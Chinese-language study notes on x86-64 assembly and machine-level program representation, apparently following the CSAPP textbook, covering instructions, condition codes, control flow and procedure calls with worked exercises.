精通细节是理解更深和更基本概念的先决条件;
计算机执行机器代码,用字节序列编码低级操作,包括处理数据、管理内存、读写存储设备上的数据,以及利用网络通信。
从高级语言到最终机器代码的转换过程如下:
C程序代码 ---(编译器)-->汇编代码 ----(汇编器)--> 机器代码 ---(链接器)---> 可执行文件
当我们使用高级语言编程时(Java、C语言),机器屏蔽了很多细节,高级语言的抽象级别比较高,在这种抽象级别上工作效率会更高,且最大的优点就是:高级语言编写的程序可以在很多不同的机器上编译和执行,而汇编代码是与特定机器密切相关的。
为什么还需要花时间来学习机器语言呢?
- 通过阅读汇编代码,能够理解编译器的优化能力,分析代码中隐藏的低效率;
- 高级语言的抽象层会隐藏我们想要了解的程序的运行时行为;
- 了解一些计算机漏洞,需要具备程序机器级表示的知识;
技术讲解的路线:
- C语言、汇编代码以及机器代码之间的关系;
- 数据的表示和处理以及控制的实现;
- 过程的实现,包括程序如何维护一个运行栈来支持过程间数据和控制的传递;
- 机器级如何实现数组、结构和联合这样的数据结构;
- 讨论内存访问越界及缓冲区溢出攻击等问题。
一、历史观点
Intel处理器系列俗称x86,经历了一个长期的、不断进化的发展过程。且每个后继处理器的设计都是后向兼容的——较早版本上编译的代码可以在较新的处理器上运行,为了保持这种进化传统,所以在指令集中有许多非常奇怪的东西。
摩尔定律:
二、程序编码
在Linux下我们通常使用 Gcc C 编译器(Linux上的默认编译器)来编译代码:
gcc -Og -o p p1.c p2.c
- gcc常用的编译选项及使用
-E:仅作预处理,不进行编译、汇编和链接
-S:仅编译到汇编语言,不进行汇编和链接
-c:只编译、汇编,不链接
-g:生成调试信息
-I:指定include包含文件的搜索目录
-o:输出成指定文件名
-w:不生成任何警告
-Wall:生成所有的警告
-Og: 告诉编译器使用会生成符合原始C代码整体结构的机器代码的优化等级(使用较高级别优化产生的代码会严重变形,以至于产生的机器代码和初始源代码之间的关系非常难以理解。)
gcc命令实际调用了一整套程序,将源代码转为可执行代码:
①:C预处理器扩展源代码,插入所有用#include命令指定的文件,并扩展所有用#define声明指定的宏;
②:编译器产生两个源文件的汇编代码,名字分别为p1.s和p2.s;
③:汇编器会将汇编代码转化成二进制目标代码文件p1.o和p2.o。目标代码是机器代码的一种形式,它包含所有指令的二进制表示,但是还没有填入全局值的地址;
④:链接器将两个目标代码文件与实现库函数(例如 printf)的代码合并,并产生最终的可执行代码文件P
2.1 机器级代码
计算机系统中通常会使用更简单的抽象模型来隐藏实现的细节,对于机器编程来说,以下两种抽象尤为重要:
①:指令集体系结构(Instruction Set Architecture, ISA)或指令集架构,因为其定义了处理器状态、指令格式,以及每条指令对状态的影响;
②:机器级程序使用的内存地址都是虚拟地址,提供的内存模型看上去像是一个非常大的字节数组;
编译器会把C语言提供的比较抽象的执行模型转换为处理器执行的非常基本的指令。
- 程序计数器:通常称为
PC,在x86-64中用%rip表示,给出将要执行的下一条指令在内存中的地址; - 整数寄存器文件:整数寄存器文件包含16个命名的位置,分别存储64位的值。这些寄存器可以存储地址(对应于C语言的
指针)或整数数据。有的寄存器被用来记录某些重要的程序状态,而其他的寄存器用来保存临时数据,例如过程的参数和局部变量,以及函数的返回值; - 条件码寄存器:保存着最近执行的算术或逻辑指令的状态信息。它们用来实现控制或数据流中的条件变化,比如说用来实现if和while语句;
- 一组向量寄存器可以存放一个或多个整数或浮点数值。
虽然C语言提供了一种模型,可以在内存中声明和分配各种数据类型的对象,但是机器代码只是简单地将内存看成一个很大的、按字节寻址的数组。C语言中的聚合数据类型,例如数组和结构,在机器代码中用一组连续的字节来表示。即使是对标量数据类型,汇编代码也不区分有符号或无符号整数,不区分各种类型的指针,甚至于不区分指针和整数。
2.2 代码示例
汇编代码
代码文件 mstore.c
long mult2(long, long);
void multstore(long x, long y, long *dest) {
long t = mult2(x,y);
*dest = t;
}
使用gcc命令进行编译,产生汇编代码
gcc -0g -S mstore.c
产生目标代码
使用 -c 来生成目标代码文件 mstore.o
gcc -Og -c mstore.c
查看目标代码文件
使用反汇编器(disassembler)来查看机器代码,这个程序会根据机器代码产生一种类似汇编代码的格式
objdump -d mstore.o
左边是十六进制的字节值,右边是等价的汇编代码
机器代码和它的反汇编表示的特性:
①:x86-64的指令长度从 1 到 15 个字节不等;
②:设计指令格式的方式是,从某个给定位置开始,可以将字节唯一地解码成机器指令。例如,只有指令 pushq %rbx是以字节值53开头的;
③:反汇编器只是基于机器代码文件中的字节序列来确定汇编代码。它不需要访问该程序的源代码或汇编代码;
④:反汇编器使用的指令命名规则与GCC生成的汇编代码使用的有些细微的差别。比如省略了很多指令结尾的 q
生成实际可执行代码
生成实际可执行的代码需要对一组目标代码文件运行链接器,而这一组目标代码文件中必须含有一个main函数。
文件 main.c
#include <stdio.h>
void multstore(long,long,long *);
int main() {
long d;
multstore(2,3,&d);
printf("2*3-->%ld\n",d);
return 0;
}
long mult2(long a,long b) {
long s = a * b ;
return s;
}
用如下方法生成可执行文件prog
gcc -Og -o prog main.c mstore.c
查看可执行文件prog
objdump -d prog
截取其中片段
可执行代码和之间反汇编mstore.c产生的代码几乎一样,但也有以下几点不同:
①:左边列出的地址不同(链接器将这段代码的地址移到了一段不同的地址范围中);
②:链接器填上了callq指令调用函数mult2需要使用的地址(链接器的任务之一就是为函数调用找到匹配的函数的可执行代码的位置);
③:最后一个区别是多了两行代码(nop,插入这些指令是为了使函数代码变为16字节,使得就存储器系统性能而言,能更好地放置下一个代码块);(联想到CPU的流水线冒泡)
三、数据格式
由于是从16位体系结构扩展成32位的,Intel用术语表示如下:
字(word):表示16位数据类型;双字(double words):表示32位数据类型;四字(quad words):表示64位数据类型。
大多数GCC生成的汇编代码指令都有一个字符的后缀,表明操作数的大小。
例如,数据传送指令有四个变种∶movb(传送字节)、movw(传送字)、movl(传送双字)和 movq(传送四字)。后缀 l 用来表示双字,因为32位数被看成是长字(long word)。注意,汇编代码也使用后缀 l 来表示4字节整数和8字节双精度浮点数。这不会产生歧义,因为浮点数使用的是一组完全不同的指令和寄存器。
四、访问信息
一个x86-64的中央处理单元(CPU)包含一组16个存储64位值的通用目的寄存器。这些寄存器用来存储整数数据和指针。
图中嵌套的方框标明的,指令可以对这16个寄存器的低位字节中存放的不同大小的数据进行操作。字节级操作可以访问最低的字节,16位操作可以访问最低的2个字节,32位操作可以访问最低的4个字节,而64位操作可以访问整个寄存器。
后面会展现很多指令,复制和生成1字节、2字节、4字节和8字节值。
当这些指令以寄存器作为目标时,对于生成小于8字节结果的指令,寄存器中剩下的字节会怎么样,对此有两条规则∶
①:生成1字节和2字节数字的指令会保持剩下的字节不变;
②:生成4字节数字的指令会把高位4个字节置为0。后面这条规则是作为从IA32到x86-64的扩展的一部分而采用的
有一组标准的编程规范控制着如何使用寄存器来管理栈、传递函数参数、从函数的返回值,以及存储局部和临时数据。
4.1 操作数指示符
大多数指令有一个或多个操作数(Operand),指示出执行一个操作中要使用的源数据值,以及放置结果的目的位置。
x86-64支持多种操作数格式,如下图。
- 源数据的值:常数、寄存器中存储的值、内存中存储的值;
- 目的数据值:存放在寄存器中、存放在内存中。
各种不同的操作数的可能性被分为三种:
①:立即数(immediate):用来表示常数值。在ATT格式的汇编代码中,立即数的写法是 $ 后面跟一个用标准C表示法表示的整数,比如 $-577、$0x1F;
②:寄存器:表示某个寄存器的内容,我们一般使用 来表示任意寄存器 a ,用引用 R[] 来表示它的值,这是将寄存器看成是一个数组 R,用寄存器标识符来作为索引;
③:内存引用:他会根据计算出来的地址(通常称为有效地址)访问某个内存位置。一般用符号 表示对存储在内存中 Addr 开始的 b 个字节值的引用(为了方便,一般会省略下标 b)
表示的是最常用的形式,这个引用由四个部分组成:
①:立即数偏移:Imm ;
②:基址寄存器: ;
③:变址寄存器: ;
④:比例因子:s , 且这里的 s 必须是 1,2,4,8。
这里基址和变址寄存器都必须是64位寄存器,有效地址被计算为 Imm+R[]+R[]*s
练习题3.1
假设下面的值存放在指明的内存地址和寄存器中。
%rax= =0x100; (寄存器寻址)0x104= =0xAB; (绝对寻址)$0x108= =0x108; (立即数寻址 )(%rax)= =0xFF; (间接寻址)4(%rax)= = M[4(十进制)+0x100(十六进制)] =M[260(十进制)]=M[0x104]=0xAB; ((基址+偏移量)寻址)9(%rax,%rdx)= =M[9 + 0x100 + 0x3]=M[9 + 256 + 3]=M[268]=M[0x10c]=0x11; (变址寻址)260(%rcx, %rdx)= =M[260 + 0x1 + 0x3]=M[264]=M[0x108]=0x13; (变址寻址)0xFC(,%rcx,4)= =M[0xFC + 0x1*4]=M[0xFC + 4]=M[252 + 4]=M[256]=M[0x100]=0xFF; (比例变址寻址)(%rax,%rdx,4)= =M[0x100 + 0x3 * 4]=M[256 + 12]=M[268]=M[0x10c]=0x11; (比例变址寻址)
注意:如果
立即数Imm没有使用0x开头,一律按照十进制处理;
4.2 数据传送指令
普通mov指令
最频繁使用的指令是将数据从一个位置复制到另外一个位置的指令(MOV)。
MOV类由五条指令组成:
①:movb: 操作的数据大小为 1 个字节;
②:movw: 操作的数据大小为 2 个字节;
③:movl: 操作的数据大小为 4 个字节,且如果指令以寄存器为目的,它会把该寄存器的高4位字节设置为0,这是因为x86-64采用的惯例导致,即任何为寄存器生成32位值的指令都会把该寄存器的高4位字节设置为0;
④:movq: 操作的数据大小为 8 个字节;
⑤:movabsq: 操作的数据大小为 8 个字节, 可以以任意64位立即数值作为源数据,且只能以寄存器作为目的;
注意:x86-64有一条限制,
传送指令的两个操作数不能同时为内存,如果需要将一个值从内存复制到另外一个内存,必须先由一条指令来将值从内存拿到寄存器,再将寄存器中的值写回内存;
注意:这些
指令的寄存器部分的大小必须与指令的最后一个字符指定的大小匹配;(注意是指令的寄存器部分)
零扩展movz指令
MOVZ类指令把目的中剩余的字节填充为0
第一个后缀字符指定了
源的大小,第二个后缀字符指定了目的大小
movl代替了movzlq的功能,所以不需要movzlq
movzbl: 不仅会把 %eax 的高3个字节清零,还会把整个寄存器 %rax 的高4个字节都清零。(P137)
符号扩展movs指令
P54页,在前面补最高位的值(0或1,具体可看P124下面的旁注)。
练习题3.2
①:movl %eax,(%rsp) : 因为寄存器部分(%eax)是32位(4个字节)
②:movw (%rax),%dx : 因为寄存器部分(%dx)是16位(2个字节)
③:movb $0xFF,%bl : 因为寄存器部分(%bl)是8位(1个字节)
④:movb (%rsp,%rdx,4),%dl : 因为寄存器部分(%dl)是8位(1个字节)
⑤:movq (%rdx),%rax : 因为寄存器部分(%rax)是64位(8个字节)
⑥:movw %dx,(%rax) : 因为寄存器部分(%dx)是16位(2个字节)
注意:这道题一定要注意书中说的: 这些
指令的寄存器部分的大小必须与指令的最后一个字符指定的大小匹配;(注意是指令的寄存器部分)
练习题3.3
movb $0xF,(%ebx): 内存引用的寄存器必须是四个字节,改为movb $0xF,(%rbx)movl %rax,(%rsp): 改为movq %rax,(%rsp)movw (%rax),4(%rsp): 不能之间从内存写到内存movb %al,%sl: 没有%sl的寄存器mov %rax,$0x123: 目的地址只能是内存或者寄存器movl %eax,%rdx: 从寄存器到寄存器必须大小一致(这里书上没有明确说明,可以看书上P123给的例子movw %bp,%sp)movb %sl,8(%rbp): 改为movw %sl,8(%rbp),因为寄存器部分%sl是16位,即w
4.3 数据传送示例
long exchange(long *xp, long y)
{
long x = *xp;
*xp = y;
return x;
}
汇编代码如下
这里说明了如何用mov指令从内存中读值到寄存器,再写到内存。
从这里也看出了,C语言中的指针其实就是将该指针放在一个寄存器中,然后在内存引用中使用这个寄存器
C语言指针用法
练习题3.4
4.4 压入和弹出栈数据
栈:一种数据结构,先进后出。
在x86-64中,程序栈放在内存的某个区域,栈向下增长,栈顶元素的地址是所有栈中元素地址中最低的(栈是倒过来画的,栈顶在底部),栈指针%rsp保存着栈顶元素的地址。
数据压栈和出栈指令:
因为栈和程序代码以及其他形式的程序数据都是放在同一内存中,所以程序可以用标准的内存寻址方法访问栈内的任意位置。例如,假设栈顶元素是四字,指令
movq 8(%rsp),%rdx会将第二个四字从栈中复制到寄存器 %rdx
五、算术和逻辑操作
下面列出一些 x86-64 的一些整数和逻辑操作,大多数操作都被分成了指令类,这些指令类有各种不同大小操作数的变种(只有leaq没有其他大小的变种)。
这些操作被分为四组:加载有效地址、一元操作、二元操作、移位。
5.1 加载有效地址(leaq)
加载有效地址(load effective address)指令:
①:指令leaq实际上是movq指令的变形;
②:其指令形式是从内存读数据到寄存器,但实际上它根本没有引用内存,它的第一个操作数看上去是一个内存引用,但该指令并不是从指定的位置读入数据,而是将有效地址写入到目的操作数。(其实就是C语言中初始化指针的操作),这条指令可以为后面的内存引用产生指针;
③:目的操作数必须是寄存器。
5.2 一元和二元操作
一元操作:只有一个操作数,既是源又是目的。这个操作数可以是一个寄存器,也可以是一个内存位置。比如说,指令incq (%rsp)会使栈顶的8字节元素加1。这种语法让人想起C语言中的加1运算符(++)和减1运算符(--)。
二元操作:其中,第二个操作数既是源又是目的。这种语法让人想起C语言中的赋值运算符,例如x-=y。不过,要注意,源操作数是第一个,目的操作数是第二个。例如,指令subq %rax,%rdx使寄存器%rdx的值减去%rax中的值。
5.3 移位操作
移位操作: 第一位是移位量,第二个操作数是要移位的数。
- 移位量:移位量可以是一个立即数,或者放在单字节寄存器
%cl中(这些指令很特别,因为只允许以这个特定的寄存器作为操作数)。
原则上来说,1个字节的移位量使得移位量的编码范围可以达到
在x86-64中,移位操作对 w 位长的数据值进行操作,移位量是由 %cl 寄存器的低m位决定的,这里 。
例如,当寄存器 %cl=0xFF时:
指令 salb 会移7位
指令 salw 会移15位
指令 sall 会移31位
指令 salq 会移63位
对于大多数指令,既可以用于无符号运算,也可以用于补码运算。只有右移操作要求区分有符号和无符号。这个特性使得补码运算成为实现有符号整数运算的一种比较好的方法的原因之一。
5.4 特殊的算术操作
两个64位有符号或无符号整数相乘得到的乘积需要128位来表示。x86-64指令集对128位(16字节)数的操作提供有限的支持。
六、控制
C语言中除了直线代码的行为,更多的还有条件语句、循环语句和分支语句,要求有条件的执行,根据数据测试的结果来决定操作执行的顺序。
机器代码提供了两种基本的低级机制来实现有条件的行为:测试数据值,然后根据测试的结果来改变控制流或者数据流。
与数据相关的控制流是实现条件行为的更常见的方法。
通常C语言中的语句和机器代码中的指令都是按照它们在程序中出现的次序,顺序执行的。用jump指令可以改变一组机器代码指令的执行顺序。
6.1 条件码
除了整数寄存器,CPU还维护着一组单个位的条件码(condition code)寄存器,它们描述了最近的算术或逻辑操作的属性。可以检测这些寄存器来执行条件分支指令。
下面是最常用的条件码:
CF: 进位标志。最近的操作使最高位产生了进位。可以来检查无符号操作的溢出。
ZF: 零标志。最近的操作得出的结果为0。
SF: 符号标志。最近的操作得到的结果为负数。
OF: 溢出标志。最近的操作导致一个补码溢出——正溢出或负溢出。
注意:
leaq指令不改变任何条件码,因为它是进行的地址运算;- 下图中的所有指令都会设置条件码;
XOR指令中,进位标志和溢出标志会被设置为0(就是清除的意思),因为XOR指令并不能使得两个操作数有进位和溢出的行为;移位操作,会将进位标志设置为最后一个被移出的位,溢出标志位被设置为0;INC和DEC指令会设置溢出和零标志位,但是不会改变进位标志(至于原因吗,可以百度看看,有硬件设计相关的规定)。
上图中的指令不仅会设置条件码还会设置寄存器,还有两类指令只设置条件码而不改变任何其他寄存器。
CMP指令:根据两个操作数之差来设置条件码(除了只设置条件码而不更新目的寄存器之外,CMP指令和SUB指令的行为是一样的)。在ATT格式中,列出操作数的顺序是相反的,这使代码有点难读。如果两个操作数相等,这些指令会将零标志设置为1,而其他的标志可以用来确定两个操作数之间的大小关系。TEST指令: 指令的行为与AND指令一样,除了它们只设置条件码而不改变目的寄存器的值。
6.2 访问条件码
条件码不会直接读取,常用的使用方法有三种:
- 根据条件码的
某种组合将一个字节设置为0或者1; - 可以条件跳转到程序的某个其他部分;
- 可以有条件的传送数据。
6.2.1 SET指令
SET类型的指令根据条件码的某种组合,将一个字节设置为0或1,根据指令名字的不同后缀指明他们所考虑的条件码的组合,例如:
setl: 小于时设置(set less)
setb: 低于时设置(set below)
注意:这里的后缀并不是代表设置字长
SET指令的目的操作数是低位单字节寄存器元素之一,或者是一个字节的内存位置,指令会将这个字节设置成0或1。为了得到一个32位结果或64位结果,我们必须对高位清0。
一个计算C语言表达式 a < b 的典型指令序列如下:
看上面最终将结果值返回了出去,感觉 SET 指令就是用来计算比较操作值的,不知道理解的对不对。
movzbl: 指令不仅会把%eax的高3个字节清零,还会把整个寄存器%rax的高4个字节都清零
movl指令以寄存器为目的时,它会把该寄存器的高位4字节设置为0。造成这个例外的原因是 x86-64的惯例,即任何为寄存器生成32位值的指令都会把该寄存器的高位部分置为0
一般来说,在x86_64上,以32-bit通用寄存器作为目标的任何指令(任何%eXX或%rNd寄存器)也会将相应64-bit寄存器的上32位设置为0。所以每一条32-bit目的地0-extends为64位的指令。
摘自《英特尔IA32软件开发人员手册》(第3.4.1.1)节):
> 在64-bit模式下,操作数大小决定目标general-purpose寄存器中的有效位数:
>
> - 64-bit操作数在目标general-purpose寄存器中生成64-bit结果。
> - 32-bit操作数生成32-bit结果,zero-extended到目标general-purpose寄存器中的64-bit结果。
> - 8位和16-bit操作数生成8位或16-bit结果。目标general-purpose寄存器的高位56位或48位(分别)不被该操作修改。如果8位或16-bit操作的结果用于64-bit地址计算,则显式sign-extend将寄存器转换为完整的64-bits。
所有的算术和逻辑操作都会设置条件码,但是各个SET指令的描述都适用的情况是:执行比较指令(COMP),根据计算 t = a - b设置条件码。
基于上面的表达式来看sete的情况,即“当相等时设置(set when equal)”指令。当a=b时,会得到t=0,因此零标志置位就表示相等。
类似地,考虑用setl,即“当小于时设置(set when less)”指令,测试一个有符号比较。当没有发生溢出时(OF设置为0就表明无溢出),我们有当a-b<0 时 a<b,将SF设置为1即指明这一点,而当a-b ≥ 0时a≥b,由SF设置为0指明。另一方面,当发生溢出时,我们有当a-b>0(负溢出)时a<b,而当a-'b<0(正溢出)时a>b。当a=b时,不会有溢出。因此,当OF被设置为1时,当且仅当SF被设置为0,有a<b。将这些情况组合起来,溢出和符号位的EXCLUSIVE-OR提供了a<b是否为真的测试。其他的有符号比较测试基于SF^OF和ZF的其他组合。
对于无符号比较的测试,现在设a和b是变量a和b的无符号形式表示的整数。在执行计算t=a-b中,当a-b<0时,CMP指令会设置进位标志,因而无符号比较使用的是进位标志和零标志。
这里我对CPU何时去设置
CF何时去设置OF有点异或,可以看看这篇文章:zhuanlan.zhihu.com/p/480278568
总结下来就是:CPU 并不是去判断该设置 CF 还是 OF,而是只要条件满足就会设置对应的标志位,而具体应该关注哪个标志位,则交由编译器去判断,因为对 CPU 而言它处理的只是比特运算,只有编译器知道当前的运算数是无符号数还是有符号数。
练习题3.13
6.2.2 跳转指令
正常情况下,指令按照出现顺序一条一条的执行。跳转(jump)指令会导致执行切换到程序中一个全新的位置。在汇编代码中,跳转指令通常用一个标号(label)指明。
jump指令:
jmp指令是无条件跳转分以下两种情况:
- 直接跳转:即跳转目标是作为指令的一部分编码的;
- 例如上图中的
jmp .L1
- 例如上图中的
- 间接跳转:跳转目标是从寄存器或内存位置中读出的,写法是
*后面跟一个操作指示符;jmp *%rax: 用寄存器%rax中的值作为跳转目标;jmp *(%rax): 以%rax中的值作为读地址,从内存中读出跳转目标;
有条件跳转:根据条件码的某种组合,或者跳转,或者继续执行代码序列的下一条指令,条件跳转只能是直接跳转。
6.2.2.1 跳转指令的编码
理解跳转指令的目标如何编码,对于研究链接非常重要,也可以帮助理解反汇编器的输出。汇编器,以及后来的链接器,会产生跳转目标的适当编码。
跳转指令有几种不同的编码:
PC相对的(PC-relative): 会将目标指令的地址与紧跟在跳转指令后面那条指令的地址之间的差作为编码;目标地址=跳转编码 + 紧跟其后的地址绝对地址: 用4字节直接指定目标。
汇编器和链接器会选择适当的跳转目的编码
上面的例子说明执行PC相对寻址时,程序计数器的值是跳转指令后面的那条指令的地址,而不是跳转指令本身的地址。
采用相对寻址后,反汇编的代码的指令虽然会被重定位到不同的地址,但是跳转目标的编码并没有改变,这样目标代码可以不做任何改变就移动到内存中不同的位置。
下面是链接后的程序的反汇编版本:
练习题3.15
0x4003fc + 0x02 = 4003fe
0x400431 + 0xf4(补码) = 0x400431 + fffff4 = 0x400425
注意这里 0xf4 是补码表示,十进制是 -12。补码运算参考 P63
pop = 0x400547 - 0x02 = 0x400545
ja = 0x400543
ja指令的编码需要2个字节,这一点书中是直接这么说的,可以编译一下试试。
转换为大端的跳转目标编码:ffffff73
0x4005ed + ffffff73 = 0x400560
注意:这里不要被那个
e9搞晕了,e9是jmpq指令的编码
6.2.3 用条件控制来实现条件分支(控制的条件转移)
将条件表达式和语句从C语言翻译成机器代码,最常用的方式是结合有条件和无条件跳转。
C 语言中的 if-else 语句的通用形式模板如下
对于这种通用形式,汇编实现通常会使用下面这种形式:
也就是为
then-statement和else-statement产生各自的代码块,它会插入条件和无条件分支,以保证能执行正确的代码块。
6.2.4 用条件传送来实现条件分支(数据的条件转移)
上面说了实现条件传送的传统方法是通过使用控制的条件转移。这种机制很简单,但是在现代处理器上,它可能会非常低效。
一种替代策略是使用数据的条件转移。这种方法计算一个条件操作的两种结果,然后再根据条件是否满足从中选取一个。只有在一些受限制的情况中,这种策略才可行,但是如果可行,就可以用一条简单的条件传送指令来实现它,条件传送指令更符合现代处理器的性能特性。
看下面的例子:
看上图的汇编代码,它与 cmovdiff 函数的代码版本非常的相似,既计算了 y-x,也计算了 x-y,分别命名为rval和eval,再测试x是否大于y,如果是就在函数返回rval前将eval的值复制到rval中。和汇编代码是相同的逻辑。关键就在于汇编代码的 cmovge 指令实现了 cmovdiff 的条件赋值。只有当汇编代码第6行的cmpq指令表明一个值大于等于另外一个值时,才会把数据源寄存器传送到目的。
注意:这里
comvge指令和条件跳转指令有点类似。
为了理解为什么基于条件数据传送的代码会比基于条件控制转移的代码性能要好,必须要了解现代处理器如何运行的知识。
注: time.geekbang.org/column/arti… 可以看下这篇文章,极客时间的文章
如何确定分支预测错误的处罚?
这里的公式
是散型随机变量的数学期望,具体可以看下这里 zhidao.baidu.com/question/80…
另一方面,无论测试的数据是什么,编译出来使用条件传送的代码所需的时间都是大约8个时钟周期。控制流不依赖于数据,这使得处理器更容易保持流水线是满的。
练习题3.19
A:
B:
下图列出了x86-64上一些可用的条件传送指令。每条指令都有两个操作数: 寄存器或者内存地址S和的寄存器R,这些指令的结果也是取决于条件码的值,在指定条件满足时,才会将源数据复制到目的寄存器种。
同条件跳转不同,处理器无需预测测试的结果就可以执行条件传送。因为处理器只是检查条件码,然后根据条件码是否满足,要么更新寄存器,要么保持不变。
条件数据转移确实提供了一种用于条件控制转移来实现条件操作的替代策略,但是他们只能用于非常受限的情况,但是这些情况也是比较常见的,与现代处理器的运行方式更契合。
6.3 循环
C语言提供了多种循环结构。do-while、while、for。汇编中没有相应的指令存在,可以用条件测试和跳转组合起来实现循环的效果。
6.3.1 do-while 循环
效果就是重复执行 body-statement,对test-expr求值,如果求值的结果为非零,就继续循环。可以看到body-statement至少会执行一次。
注:这里我经常会搞混乱,C语言中
0表示假,非0表示真,Shell 中作为数字任何值都是真,作为状态码,0表示真,1表示假
看个例子:
6.3.2 while 循环
与do-while不同之处就在于,第一次执行body-statement之前,会对test-expr求值,循环可能就此中止了。
实现while循环有很多方法,GCC在代码生成中使用其中两种,与do-while一样,不过他们实现初始测试的方法不同:
跳转到中间: 执行一个无条件跳转跳到循环结尾处的测试,以此执行初始的测试;guarded-do: 首先用条件分支,如果初始条件不成立就跳过循环,把代码变成do-while循环,使用较高等级编译时,GCC会使用这种策略;利用这种策略,编译器常常可以优化初始化的测试。
练习题3.26
这篇文章讲的很清晰了
6.3.3 for 循环
6.4 switch 语句
switch(开关)语句可以根据一个整数索引值来进行多重分支。在处理具有多个可能结果的测试时,非常有用。
- 提高了代码的可读性;
- 使用
跳转表的数据结构,使得实现更加高效。和使用if-else相比,使用跳转表的优点是执行开关语句的时间和开关情况的数量无关。GCC会根据开关情况的数量和开关值的稀疏程度来翻译语句,当开关情况>4,并且值的范围跨度相对比较小时,就会使用跳转表。
&&符号是GCC作者们创建的一个新的运算符, 这个运算符创建一个指向代码位置的指针。
练习题3.30
七、过程
过程是软件中一种很重要的抽象。它提供了一种封装代码的方式,用一组指定的参数和一个可选的返回值实现了某种功能,可以在程序不同的地方调用这个函数。
设计良好的软件用过程作为抽象机制:
- 隐藏某个行为的具体实现,同时又提供清晰简洁的接口定义;
- 说明计算的是哪些值,过程会对程序状态产生什么样的影响。
要提供对过程的机器级支持,必须要处理许多不同的属性,以过程P调用过程Q,过程Q执行后返回到过程P为例,我们需要解决下面这些问题:
传递控制:过程P进入过程Q时,程序计数器必须被设置为过程Q的起始地址,过程Q返回时,程序计数器必须被设置为过程P调用过程Q后面那条指令的地址;传递数据:过程P必须能够向过程Q提供一个或多个参数,过程Q必须能够向过程P返回一个值;分配和释放内存:在开始时,过程Q可能需要为局部变量分配空间,而在返回前,又必须释放这些存储空间。
7.1 运行时栈
C语言(其他大部分语言也是这样)过程调用机制的一个关键特性在于使用了栈数据结构提供的先进后出的内存管理原则。栈和程序计数器存放着传递控制和数据、分配内存所需要的信息。
为什么要用栈呢?
在过程P调用过程Q的例子中,可以看到当Q在执行时,P以及所有在向上追溯到P的调用链中的过程,都是暂时被挂起的。当Q运行时,它只需要为局部变量分配新的存储空间,或者设置到另一个过程的调用。另一方面,当Q返回时,任何它所分配的局部存储空间都可以被释放。因此,程序可以用栈来管理它的过程所需要的存储空间。
当x86-64过程需要的存储空间超过寄存器能够存放的大小时,就会在栈上分配空间,这部分称为过程的栈帧(stack frame)
x86-64的栈向低地址方向增长,栈指针%rsp指向栈顶元素。栈指针减小可以在栈上分配空间,栈指针增加可以释放空间。
在这个空间中,它可以保存寄存器的值,分配局部变量空间,为它调用的过程设置参数。大多数过程的栈帧都是定长的,在过程的开始就分配好了,但是有些过程需要变长的帧,这个会在后面讨论。
通过寄存器过程P可以传递最多6个整数值(也就是指针和整数),但是如果过程Q需要更多的参数,过程P可以在调用过程Q之前在自己的栈帧里存储好这些参数。
为了提高空间和时间效率,x86-64过程只会分配自己所需要的栈帧部分,许多过程有6个或者更少的参数,那么这些参数就都可以通过寄存器来传递。
7.2 转移控制
将控制从函数P转移到函数Q只需要简单地把程序计数器(PC)设置为Q的代码的起始位置。不过,当稍后从Q返回的时候,处理器必须记录好它需要继续P的执行的代码位置。在x86-64机器中,这个信息是用指令call Q调用过程Q来记录的
Call Q:该指令会把地址A压人栈中,并将PC设置为Q的起始地址。压入的地址A被称为返回地址,是紧跟在call指令后面的那条指令的地址。ret:从栈中弹出地址A,并把PC设置为A。
call指令的目标是指明调用过程起始的指令地址。同跳转一样,有直接和间接两种,直接调用是一个标号,间接调用的目标是 * 后面跟一个操作数指示符。
来看一个详细的例过程间传递控制的例子。main函数调用top函数,top函数再调用leaf函数,汇编代码中,L1~L2代表 leaf 函数,T1~T4代表 top 函数,M1~M2 代表 main 函数
7.3 数据传送
当调用一个过程时,除了要把控制传递给它并在过程返回时再传递回来之外,过程调用还可能包括把数据作为参数传递,而从过程返回还有可能包括返回一个值。
x86-64中,大部分过程间的数据传送是通过寄存器实现的。例如,我们之前看到无数的函数示例,参数在寄存器%rdi、%rsi和其他寄存器中传递。当过程P调用过程Q时,P的代码必须首先把参数复制到适当的寄存器中。类似地,当Q返回到P时,P的代码可以访问寄存器%rax中的返回值。
寄存器最多传6个参数:x86-64中,可以通过寄存器最多传递6个整型(例如整数和指针)参数;寄存器参数传递是有顺序的:寄存器的使用是有特殊顺序的,寄存器使用的名字取决于要传递的数据类型的大小,如图3-28所示。会根据参数在参数列表中的顺序为它们分配寄存器。可以通过64位寄存器适当的部分访问小于64位的参数。例如,如果第一个参数是32位的,那么可以用%edi来访问它。超过6个的整型参数通过栈传递:假设过程P调用过程Q,有n个参数,且n > 6,那么过程P(这里注意是过程P,不是Q)的代码分配的栈帧必须要能容纳下7到n号参数的存储空间;栈参数对齐:通过栈传递参数时,所有数据大小都向8的倍数对齐。
注意:
P调用Q,给Q传递参数,参数是分配在P上的。如果Q也调用了超过 6 个参数的其他函数,那么就需要在Q上分配存储这些参数的空间。
看一个例子:
练习题3.33
- 假设第3行的
addq %rdi,(%rdx)计算的是*u += a,那么a就被存储在了%rdi %rdi是通过movslq %edi, %rdi来的,可以看出是l->q即 4个字节到8个字节- 所以
*u即long* addb %sil,(%rcx), 可以看出是将%sil的低位字节加到了(%rcx)- 所以即可确定
*v是一个char* - 但是不能确定
b是什么类型,它可以是 2,4,8 字节 - 从
movl $6,%eax可以看出返回值为 6 - 我们前面推断出 a 是 4个字节,这个函数是计算 a和b的字节大小和, 所以从这一步推断 b 是 2个字节
注意:这里我一直有个疑问?
add指令的后缀到底是怎么确定的?
因为add指令不像mov指令一样,有扩展,不涉及两个后缀,书上也没有明确说明,所以是不是可以认为add指令后面的两个地址大小必须一样。
7.4 栈上的局部存储
到目前为止,大多数示例都不需要超出寄存器大小的本地存储区域,不过有些时候,局部数据必须存放到内存中:
- 寄存器不足以存放本地所有数据;
- 对一个局部变量使用地址运算符
&,因此必须能够为它产生一个地址; - 某些局部变量是数组或者结构,因此必须能够通过数组或结构引用被访问到。
看一个例子:
再看一个例子,这个例子是调用章节《6.5.3 数据传送》最后的例子
7.5 寄存器中的局部存储空间
寄存器组是唯一被所有过程共享的资源。虽然给定时刻只有一个过程是活动的,但我们任然必须要保持一个过程调用另一个过程时,被调用者不会覆盖调用者稍后会使用的寄存器,x86-64设置了一组寄存器使用惯例,所有过程包括程序库必须遵循。
寄存器%rbx、%rbp和%r12~%r15被划分为被调用者保存寄存器。当过程P调用过程Q时,Q必须保存这些寄存器的值,保证它们的值在Q返回到P时与Q被调用时是一样的。
